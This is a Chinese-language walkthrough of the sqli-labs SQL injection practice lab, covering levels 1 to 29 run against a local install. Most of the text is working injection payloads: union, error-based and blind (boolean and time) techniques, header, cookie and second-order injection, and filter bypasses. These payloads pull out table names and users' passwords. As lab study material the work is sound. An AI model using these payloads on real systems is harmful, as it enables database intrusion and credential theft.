Less-1*
union注入
依次判断注入类型、字段数、回显点,然后依次爆库名、表名、字段名,查数据
判断注入点
输入
1 | ?id=1 |
再输入
1 | ?id=1' |
报错。
于是将单引号注释掉,输入
1 | ?id=1' --+ |
输入’ 后sql语句中多了一个单引号报错,而注释掉后面内容后又恢复正常,表示输入的‘ 与前面的id=1也形成了一个闭合,因此可以判断注入类型为字符型,注入点为单引号
判断字段数
1 | ?id=1' order by 3--+ |
正常显示
1 | ?id=1' order by 4--+ |
报错
所以字段数为3
判断回显点
1 | ?id=1' union select 1,2,3 limit 1,1 --+(或?id=-1' union select 1,2,3 --+) |
当id=1存在时会在第0行输出第一个sql语句查询到的结果,自然我们输入的数字就到了下一行,而 limit 1,1 的作用是从第1行开始显示1行内容(也可不用limit语句,只需让前面sql语句查询结果为空)
2,3这两个位置都可以作为回显点
爆库名
1 | ?id=-1' union select 1,database(),version() --+ |
库名就是security
爆表名
1 | ?id=-1' union select 1,group_concat(table_name),2 from information_schema.tables where table_schema='security' --+ |
四个表
爆字段名
一般登录名和密码是在users表中
1 | ?id=-1'union select 1,group_concat(column_name),2 from information_schema.columns where table_name='users' --+ |
查数据
1 | ?id=-1' union select 1,group_concat(id ,' ' , username , ' ' , password) ,2 from users --+ |
(id 登录名 密码)
Less-2*
输入?id=1’,报错
数字型注入
将’去掉其余步骤同Less-1
1 | ?id=1 order by 3 --+ |
Less-3*
输入
1 | ?id=1' |
报错。报错中sql语句是单引号字符型且有括号,所以要闭合单引号同时考虑单边括号,可知’)闭合
在Less-1中的’后加上),其余步骤相同
Less-4*
1 | ?id=1' |
正常显示
1 | ?id=1" |
报错
根据报错可得,sql语句是双引号字符型且有单边括号
所以将Less-1中的‘变成”加上),其余步骤与上述相同
Less-5*
1 | ?id=1 |
1 | ?id=1' |
查询结果不回显,但语法报错存在,且闭合为单引号。所以不能采用联合注入,可采用报错注入或者布尔盲注。
- 报错注入
利用xpath语法错误
extractvalue函数:extractvalue(xml_document,Xpath_string)
先爆库名
1 | ?id=1' and extractvalue(1,concat('~',(select database()),'~')) --+ |
爆表名
1 | ?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'~')) --+ |
爆字段
1 | ?id=1' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),'~')) --+ |
查数据
这样的写法貌似不能显示出所有数据
1 | ?id=1' and extractvalue(1,concat('~',(select group_concat(username,'--',password) from users),'~')) --+ |
所以换成
(将limit后面的第一个数字依次加1得到所有数据)
1 | ?id=1' and extractvalue(1,concat('~',(select username from users limit 0,1),'~')) --+ |
**updatexml函数:updatexml(xml_document, Xpath_string, new_value)**也可以
- 布尔盲注(这里参考了CTFSHOW sqli-labs_Y4tacker的博客中的脚本)
1 | import requests |
Less-6*
输入?id=1’正常显示
输入?id=1”后报错
闭合点为双引号
所以将Less-5中的’改成”,其余步骤一致
布尔盲注只需修改url
1 | url = "http://127.0.0.1/sqli-labs-master/Less-6/?id=1%22and%20" |
Less-7(未完成)
Less-8*
输入?id=1显示
输入?id=1’不显示,没有报错信息
对于正确、错误输入有不同显示,所以采用布尔盲注。
闭合点为单引号。
布尔盲注
判断数据库类型,数据库名,表名,字段名,数据
判断数据库类型
Mysql数据库:?id=1’ and exists(select * from information_schema.tables) –+
access数据库:?id=1’ and exists(select * from msysobjects) –+
sqlserver数据库?id=1’ and exists(select * from sysobjects) –+
只有第一句正常显示,所以数据库类型为MySQL
布尔盲注采用脚本,脚本同less-5(往上滑!改个url就行)。
Less-9*
不管输入啥都显示一样的界面,所以上述的几种方法都用不了。
采用时间盲注(也叫延时注入),通过观察请求的时间。
其实和布尔盲注类似的,把上面的语句写成if结构即可
1 | 输入?id=1 and sleep(5) --+,立刻响应 |
所以闭合点为单引号
脚本如下:
1 | import requests |
Less-10*
输入?id=1’ and sleep(5) –+,立刻响应
输入?id=1” and sleep(5) –+,延迟响应
所以闭合点为双引号
只需把url改为
1 | url = "http://127.0.0.1/sqli-labs-master/Less-10/?id=1%22%20and%20" |
Less-11*
接下来输入是在输入框里输入
和Less-1类似,不过变成post方式提交,注释改成#
username输入框输入1,出现failed
输入1‘,出现报错信息
所以注入类型为字符型,注入点为单引号。采用联合注入
字段数:
1 | 1’ order by 3 #,报错 |
爆库名:
1 | -1' union select database(),version() # |
爆表名:
1 | -1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' # |
爆字段名:
1 | -1'union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # |
查数据:
1 | -1' union select 1,group_concat(id ,' ' , username , ' ' , password) from users # |
Less-12*
输入1,正常
输入1‘,正常
输入1“,报错。注入点为”)。
只需把’改为”),其余步骤同less 11
Less-13*
输入1,正常
输入1’,报错,注入点为‘)
尝试了半天发现查询结果并不显示,所以采用报错注入
1 | 1') and extractvalue(1,concat('~',(select database()),'~')) # |
Less-14*
输入1”,报错
注入点为”,且查询结果不显示,采用报错注入
把Less-13的’)改为”,其余步骤一致
Less-15*
输入什么都没有报错提醒,所以应该采用盲注吧。但是布尔盲注,要求对于正确、错误输入有不同显示。搜索题解发现,可以借助or 1=1
(前10关知道id=1正确,id=-1一定错误,而Less11-Less20需要输入用户名和密码,且不知道用户名或者密码,这时要借助or 1=1)
1 | 输入1 or 1=1 #,login attempt failed |
所以闭合点为’
时间盲注
脚本书写参考(CTFSHOW sqli-labs_Y4tacker的博客)
1 | import requests |
Less-16*
1 | 输入1 or 1=1 #,login attempt failed |
同Less-15,采用时间盲注,只是闭合点为”)
Less-17*
页面显示是密码重置页面
User Name输入admin
new Password输入1,无报错。输入1‘,报错。闭合点为’
报错注入
在new Password输入
1 | 1' and extractvalue(1,concat('~',(select database()),'~')) #(数据库名) |
我尝试了下面这种写法:
1 | 1' and extractvalue(1,concat('~',(select group_concat(username,'--',password) from (select group_concat(username,'--',password) from users) test),'~')) # |
它会提示:
1 | Only constant XPATH queries are supported |
Less-18*
页面显示了一个IP信息
用户名和密码都输入admin1后,它显示了User Agent
采用burp抓包
修改user-agent进行报错注入
当输入1时,没有报错。
输入1’时,报错如下。需要对单引号进行闭合。
1 | 1',1,extractvalue(1,concat('~',(database()),'~')))# |
1 | 1',1,extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'~')))# |
1 | 1',1,extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),'~')))# |
1 | 1',1,extractvalue(1,concat('~',(select group_concat(username,'--',password) from users),'~')))# |
Less-19*
Referer报错注入
用户名和密码都输入admin1后,它显示了referer
同理,抓包
修改user-agent进行报错注入
1 | 1' and extractvalue(1,concat('~',(select database()),'~')) and ' |
1 | 1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'~')) and ' |
1 | 1' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),'~')) and ' |
1 | 1' and extractvalue(1,concat('~',(select group_concat(username,'--',password) from users),'~')) and ' |
Less-20*
用户名和密码都输入admin1后,跳到另一个界面
有个提示DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE
于是抓包并尝试删除其cookie值
好像没有什么用
尝试像18、19那样,对cookie进行修改
输入'
,报错
而且它的页面是有显示的
所以,可以试试联合注入
输入
cookie值为
1 | uname=admin1' order by 4 # |
报错。
1 | uname=1' union select 1,2,3 # |
2、3为回显点
步骤同less-1
最后的payload为:
1 | uname=-1' union select 1,group_concat(id ,' ' , username , ' ' , password) ,2 from users # |
Less-21*
用户名和密码都输入admin1后,这里的uname显示的不是admin1,而是YWRtaW4x
搜索题解发现是Base64编码
输入
1 | YWRtaW4xJw== |
即admin1’
所以闭合是')
采用union注入
最后payload为:
1 | -1') union select 1,group_concat(id ,' ' , username , ' ' , password) ,2 from users # |
Less-22*
同Less-21,但是闭合变为双引号”
payload为:
1 | -1" union select 1,group_concat(id ,' ' , username , ' ' , password) ,2 from users # |
Less-23*
输入
1 | ?id=1' |
使用单引号闭合后如下,不能用order by来判断字段数了
1 | ?id=1' union select 1,2,3 and '1'='1 |
所以:
1 | ?id=-1' union select 1,database(),version() and '1'='1 |
Less-24*
这个界面和前面都不一样。采用的是二次注入。
在修改密码页面的源代码中执行的sql语句如下。
先新建用户。
再到登录页面登录后,会进入修改密码页面
修改完admin’#的密码,根据源代码中执行的sql语句,实则修改的是admin的密码。而后就可以使用修改完的密码来登录admin
Less-25*
1 | ?id=1' |
报错
闭合点为单引号
1 | ?id=1' order by 3--+ |
发现or被过滤了
尝试双写
1 | ?id=1' oorrder by 3--+ |
Less-25a*
尝试了'
,"
,')
,")
都没有错误显示
应当是数字型注入
且过滤了and和or
1 | ?id=1 oorrder by 3--+ |
Less-26*
1 | ?id=1' order by 3--+ |
or和空格被过滤了
如果只过滤了空格,没有过滤 /* ,可以利用 /**/ 来绕过空格过滤
1 | ?id=1'/**/oorrder/**/by/**/3--+ |
结果注释也被过滤了
尝试编码绕过,也不行
1 | ?id=1'%0boorrder%0bby%0b3--+ |
那联合注入应该是不行。
如果过滤了#,可以利用 ||’ 来绕过。但只限于闭合后面是单引号。
尝试报错注入,并闭合单引号
1 | ?id=1'aandnd(updatexml(1,concat('~',database(),'~'),1))||' |
1 | ?id=1'aandnd(updatexml(1,concat('~',(select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema='security')),'~'),1))||' |
1 | ?id=1'aandnd(updatexml(1,concat('~',(select (group_concat(column_name)) from (infoorrmation_schema.columns) where ((table_name='users')aandnd(table_schema='security'))),'~'),1))||' |
Less-27*
过滤了union、select、空格。试试大小写混写
1 | ?id=1'and(updatexml(1,concat('~',database(),'~'),1))||' |
1 | ?id=1'and(updatexml(1,concat('~',(SeLect (group_concat(table_name)) from (information_schema.tables) where (table_schema='security')),'~'),1))||' |
1 | ?id=1'and(updatexml(1,concat('~',(SeLect (group_concat(column_name)) from (information_schema.columns) where ((table_name='users')and(table_schema='security'))),'~'),1))||' |
1 | ?id=1'and(updatexml(1,concat('~',(SeLect (group_concat(username,'--',password)) from (users)),'~'),1))||' |
Less-28*
这题尝试了一下,看提示应该还是过滤了空格,以及同时过滤掉select和union。原本还想试试报错注入,但一直没有成功。搜索了题解:(他这里用双写来绕过union、select)
1 | ?id=0%27)%0aunionunion%0aselect%0aselect%0a1,(select%0agroup_concat(schema_name)%0afrom%0ainformation_schema.schemata),3%0aand%20(%271%27)=(%271 |
1 | ?id=0%27)%0aunionunion%0aselect%0aselect%0a1,(SElect%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=%27security%27),3%0aand%20(%271%27)=(%271 |
1 | ?id=0%27)%0aunionunion%0aselect%0aselect%0a1,(SElect%0agroup_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_schema=%27security%27%0aand%0atable_name=%27users%27),3%0aand%20(%271%27)=(%271 |
1 | ?id=0%27)%0aunionunion%0aselect%0aselect%0a1,(select%0agroup_concat(concat(username,%27^%27,password))%0afrom%0ausers),3%0aand%20(%271%27)=(%271 |
Less-29
输入
1 | ?id=1' order by 3 --+ |
显示如下: